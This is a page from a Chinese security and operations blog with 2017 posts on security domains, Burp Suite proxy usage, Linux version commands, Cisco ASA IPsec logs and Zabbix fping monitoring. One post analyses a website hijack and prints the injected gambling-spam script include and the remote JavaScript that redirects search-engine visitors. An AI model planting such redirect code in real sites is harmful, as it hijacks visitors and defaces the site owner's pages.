2017年5月18日星期四

安全域,概念众多,究竟何去何从,本文来个抛砖引玉

我从业这么久,经常讲安全域这个概念,但是它是如何诞生的,后面又经过怎么样的演变。

以下文字来源于 这篇文章

----------摘抄开始

首先来看定义:

定义1:安全域是由一组具有相同安全保护需求、并相互信任的系统组成的逻辑区域。

定义2:安全域是由在同一工作环境中、具有相同或相似的安全保护需求和保护策略、相互信任、相互关联或相互作用的IT要素的集合。

定义3:安全域是指同一环境内有相同的安全保护需求、相互信任、并具有相同的安全访问控制盒边界控制策略的网络或系统。

以上定义均为从网络摘抄。定义的主体分别为逻辑区域、IT要素的集合、网络或系统,但其表达的意思基本都是一样的。可能是由于中文博大精深,虽然字不一样,但所想表达的思想都是一样的。

----------摘抄结束

看看维基百科的安全域(security domain

而安全域这个概念又会被分为:
1. 传统安全域
2. 动态安全域
3. 虚拟安全域 (类似阿里云的安全组)
4. IBM的安全域 (Secure domain)

等级保护的安全域概念
《信息安全技术--信息系统安全通用技术要求》GB/T 20271—2006
《信息安全技术--信息系统等级保护安全设计--技术要求》

美国国安局《信息保障技术框架》里面提到的“纵深防御”(Defense in Depth
                 《信息保障技术框架》的全册链接

常见的划分方法:
1. 按照防护的层次:外部接口层、核心交换层、计算服务层、资源层,根据安全要求和策略的不同,划分区域
2. 网络安全域划分:本地网络、远程网络、公共网络、伙伴访问

划分注意:
1. 子网与安全域要分开,因为安全域是一组对象集合,与子网没有必然联系,如果非要将子网与安全域联系在一起,那么安全域将会被细分为非常多的层次,导致出现三级子安全域,甚至四级子安全域,将会让安全域设计的工作严重复杂化。

    子网与安全域的关系:
         一个安全域可以容纳多个子网
         一个子网只能归属一个安全域(子网A 归属 安全域A,子网A就不可能归属其他域)
   
    下图,就是不合理的设计,应该将子网与安全域分开规划


参考链接:
安全域划分
安全域的划分




2017年5月17日星期三

burp target proxy 使用细节


0x01  Target Scope的作用
  • 限制站点地图和Proxy 历史中的显示结果
  • 告诉Burp Proxy 拦截哪些请求
  • Burp Spider抓取哪些内容
  • Burp Scanner自动扫描哪些作用域的安全漏洞
  • 在Burp Intruder和Burp Repeater 中指定URL
将需要抓包的域名放入include scope,有两种方法:
1. 在数据包或者某个连接,右键点击,然后 add to scope
2. 在数据包或者某个连接,右键点击,Copy Url --> Target -->Scope --> Paste URL

Proxy history:
          Filter: Showing all items
                    Show only in-scope items

exclude scope

0x02  Proxy Intercept
     
       改变GET或者POST请求方式、
       改变请求body的编码,
同时也可以改变请求消息的拦截设置,
       不再拦截此主机的消息、
       不再拦截此IP地址的消息、
       不再拦截此种文件类型的消息、
       不再拦截此目录的消息,
也可以指定针对此消息拦截它的服务器端返回消息。

intercept选项卡
     Action
            Don't intercept requests
                      To this host
                      To this IP address
                      To this file extension
                      To this directory

0x03  Project  & User Options  &  State (V1.7.11)

       在Burp Suite v1.7.11 后引入了项目文件的概念。
       保存Project Options 与 User Options 可以记下你习惯方式,下次直接使用即可。

         state文件,则是当时抓的数据包与代理历史情况的记录。

注意:证书的导入与导出与配置无关

我的使用习惯建议:

burp 无法抓取chrome 58的https包的临时解决方案:
      1. 在启动chrome的快捷方式加入选项 --ignore-certificate-errors

建议,抓包的时候,把截断打开:
     1. 如果截断的数据包不是你想要的域名,可以设置don't intercept
     2. 如果是你想要的域名,可以设置 add to scope
     3. 上面两步,都是为了history能够显示有效的内容,过滤无用的数据包
     4.  每一个测试项目,都可以用save project option保存配置,下次启动直接加载


这个问题的描述:
     
       0x1 官网论坛 Certs invalid on Chrome 58 due to CN Deprecation

       0x2 stackExchange论坛 Burp Suite - Although my configurations are correct, still Chrome doens't allows me to access HTTPS sites and throws an error!

参考链接:
针对非Webapp测试的Burp技巧(二):扫描、重放
如何使用Burp Suite代理
Chrome (for Windows only) - HSTS Certificate Exception Instructions







Burp 重复发送同一个数据包

在 Intruder下:
position , clear所有变量
payloads,payload type 改为 null payload
payload options ,continue indefinitely (意思为持续发包)

参考链接:
Repeat a request in a loop
PortSwigger Support Center-- How Do I

2017年5月11日星期四

域名通过脚本恶意跳转 的分析

某公司官网被嵌入恶意的js脚本,该脚本的位置介于<html> 与 <head> 之间。

<noscript> <title>xx赌xx博网.....</title>
<meta name="keywords" content="网上赌博...." />
<meta name="description" content="【w.05.com】博彩 s评级 网【w w.8.cc】...." />
</noscript><code>
<script src="http://www.xxx.xxx/aaa.js" type="text/javascript"></script>

http://www.xxx.xxx/aaa.js  这个js的内容如下:

document.writeln("");
document.writeln("");
document.writeln("<script LANGUAGE=\'Javascript\'>");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'dsms\')>0 || s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 ) ");
document.writeln("location.href=\'http://xxbc.com/index.htm';");
document.writeln("else");
document.writeln("location.href=\'index.htm\'");
document.writeln("</script>");
document.writeln("");


2017年5月8日星期一

linux必会的版本号查看

首先linux是有多个分支的操作系统,目前只讨论两大重要分支。

看版本号的时候经常会看到:  debian 7.5 Wheezy
可以按下面分解:















分别对应了三个命令,基本上把这三个命令记住,就可以知道完整的版本情况了。

其中lsb_release是个独特的命令,它的man解释

NAME
              lsb_release - print distribution-specific information

DESCRIPTION
       The lsb_release command provides certain LSB (Linux Standard Base
and distribution-specific information.
       If no options are given, the -v option is assumed.

这样方便去理解这个命令,同时可以记得更牢固。

查看内核版本的命令:
            uname -a
内核版本可以看到硬件架构,比如i386、i686、amd64、x86_64,可以根据这个信息
来选择软件包








2017年5月7日星期日

ipsec vpn主模式与野蛮模式,PFS故障


如果一边启用FPS,另一边没有启用PFS,会出现下面报错

May 02 2017 10:09:18: %ASA-5-713119: Group = 183.49.47.106, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 10:09:18: %ASA-5-713904: Group = 183.49.47.106, IP = 183.49.47.106, All IPSec SA proposals found unacceptable!
May 02 2017 10:09:18: %ASA-3-713902: Group = 183.49.47.106, IP = 183.49.47.106, QM FSM error (P2 struct &0x00007fff9efdb610, mess id 0xbe9ad595)!
May 02 2017 10:09:18: %ASA-3-713902: Group = 183.49.47.106, IP = 183.49.47.106, Removing peer from correlator table failed, no match!
May 02 2017 10:09:18: %ASA-5-713259: Group = 183.49.47.106, IP = 183.49.47.106, Session is being torn down. Reason: Phase 2 Mismatch
May 02 2017 10:09:18: %ASA-4-113019: Group = 183.49.47.106, Username = 183.49.47.106, IP = 183.49.47.106, Session disconnected. Session Type: LAN-to-LAN, Duration: 0h:00m:00s, Bytes xmt: 0, Bytes rcv: 0, Reason: Phase 2 Mismatch
May 02 2017 10:09:18: %ASA-5-713904: IP = 183.49.47.106, Received encrypted packet with no matching SA, dropping



主模式:默认会用接口的IP地址作为隧道组的ID去匹配策略
野蛮模式: 可以自定义隧道组的ID,思科默认使用接口IP地址作为ID,远程身份ID与对端的定义的情况,本地身份ID为已经配置好的隧道组名称

-------------------------
May 02 2017 13:38:44: %ASA-5-713119: Group = spoke1, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 13:38:44: %ASA-5-713076: Group = spoke1, IP = 183.49.47.106, Overriding Initiator's IPSec rekeying duration from 0 to 4608000 Kbs
May 02 2017 13:38:44: %ASA-5-713049: Group = spoke1, IP = 183.49.47.106, Security negotiation complete for LAN-to-LAN Group (spoke1)  Responder, Inbound SPI = 0xc6cb4692, Outbound SPI = 0x92a645aa
May 02 2017 13:38:44: %ASA-5-713120: Group = spoke1, IP = 183.49.47.106, PHASE 2 COMPLETED (msgid=55089711)

-------------------------
May 02 2017 14:56:01: %ASA-5-713119: Group = YUNSHU, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 14:56:01: %ASA-5-713076: Group = YUNSHU, IP = 183.49.47.106, Overriding Initiator's IPSec rekeying duration from 0 to 4608000 Kbs
May 02 2017 14:56:01: %ASA-5-713049: Group = YUNSHU, IP = 183.49.47.106, Security negotiation complete for LAN-to-LAN Group (YUNSHU)  Responder, Inbound SPI = 0x3f1213b5, Outbound SPI = 0xf0380816
May 02 2017 14:56:01: %ASA-5-713120: Group = YUNSHU, IP = 183.49.47.106, PHASE 2 COMPLETED (msgid=f4d36555)
--------------------------

2017年5月5日星期五

zabbix fping 网络连通性检测,以及服务器之间的网络检测

我主要使用zabbix的两种监控项类型来做ICMP检测。
监测指标有三种:
 1. 两点之间的可用性  [ 0 , 1]
 2. 两点之间的丢包率  [ 0 -100 %]
 3. 两点之间的响应时间  [ 0 - 3000 ms]



要想完成两台服务器之间链路的状态监控,需要在zabbix agent配置key来完成。
经过google之后,找到zabbix官方论坛的一篇帖子

首先你要保证安装fping,fping这个工具功能强大,zabbix用fping返回数据来监测。

fping强大之处
1. 快速ping包,-p 30,每隔30毫秒就发送一个echo reply包
2. 整个网段搜索存活主机,-a -g 子网,例如: fping -a -g 10.0.0.0/24
3. 通过IP反查域名,fping -a -d 8.8.8.8  (3.0以上的版本才支持)


保证zabbix有权限调用fping
chown root.zabbix /etc/zabbix/fping
chmod 6710 fping
设置好后,权限情况如下:
-rws--s--- 1 root zabbix 54759 Jul 9 14:59 fping
也可以通过/etc/sudoers去配置
zabbix ALL=(ALL) NOPASSWD:/usr/bin/fping

在zabbix_agentd.conf下添加用户参数:
#fping
UserParameter=chk.fping[*],sudo /usr/bin/fping -c 3 $1 2>&1 | tail -n 1 | awk '{print $NF}' | cut -d '/' -f2

如果会报一个timeout的错误,在下面两个配置文件修改timeout值
/etc/zabbix/zabbix_agentd.conf
Timeout=30
/etc/zabbix/zabbix_server.conf
Timeout=30
关于userparameter的含义:点击链接
关于简单检查各个key,各个参数的具体含义:点击链接

简单检查的key - icmppingsec,使用时主要,数据类型是浮点型

附加上常用command的写法:
注意:导入agent配置时,ip要写为$1
packet loss
fping -p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk -F ' ' '{print $5}'| cut -d '/' -f3 | cut -d ',' -f1
fping -p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk '{print $5}'| cut -d '/' -f5 | cut -d ',' -f1

packet avg sec
fping --p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk '{print $NF}' | cut -d '/' -f2